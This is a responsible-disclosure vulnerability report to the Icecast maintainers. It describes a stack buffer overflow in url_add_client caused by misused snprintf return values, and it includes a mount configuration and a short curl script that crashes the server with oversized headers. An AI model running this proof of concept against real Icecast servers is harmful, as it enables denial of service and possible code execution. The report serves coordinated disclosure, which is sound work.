Hello, I would like to report a security vulnerability in the Icecast server. ## The bug `url_add_client` in `auth_url.c` contains this call inside a loop: ``` post_offset += snprintf(post + post_offset, sizeof(post) - post_offset, "&%s%s=%s", url->prefix_headers ? url->prefix_headers : "", cur_header, header_valesc); ``` If the string to be written is longer than `sizeof(post) - post_offset`, `snprintf` will truncate the string, but will return *the number of bytes it would have written if the buffer were large enough*. This means that `post_offset` is incremented to be larger than `sizeof(post)`, and any subsequent iteration of the loop will write beyond the end of the buffer. ## Proof of concept I configured a mount using URL authentication that forwards two headers: ``` <mount type="normal"> <mount-name>/auth_url.ogg</mount-name> <authentication type="url"> <option name="headers" value="x-foo,x-bar"/> ... </authentication> </mount> ``` My Icecast server was running on localhost, port 8000, and then I ran the following Bash script: ``` foo=$(python -c "print('a' * 3950)") bar=123456789123456789 curl -H "x-foo: $foo" -H "x-bar: $bar" http://localhost:8000/auth_url.ogg ``` The `x-foo` header was truncated, but it caused `postoffset` to be incremented beyond the size of the buffer, as described above. The subsequent handling of the `x-bar` header overwrote other stack contents, causing my Icecast server to crash: ``` *** stack smashing detected ***: <unknown> terminated Aborted (core dumped) ``` By controlling the length of the `x-foo` header, and the contents of the `x-bar` header, it seems likely that remote code execution would be possible. ## Related bug Our automated analysis highlighted this bug, and another similar misuse of `snprintf` in `format_prepare_headers` in `format.c`, but I did not investigate whether that one would be exploitable. Those analysis results are visible here: https://lgtm.com/projects/g/xiph/Icecast-Server/alerts/?mode=tree&ruleFocus=1505913226124 ## Disclosure Please let me know when you have fixed the vulnerability, so that we can coordinate our disclosure with yours. For reference, here is a link to our vulnerability disclosure policy: https://lgtm.com/security Thanks! --Nick Rolfe, Semmle Security Research Team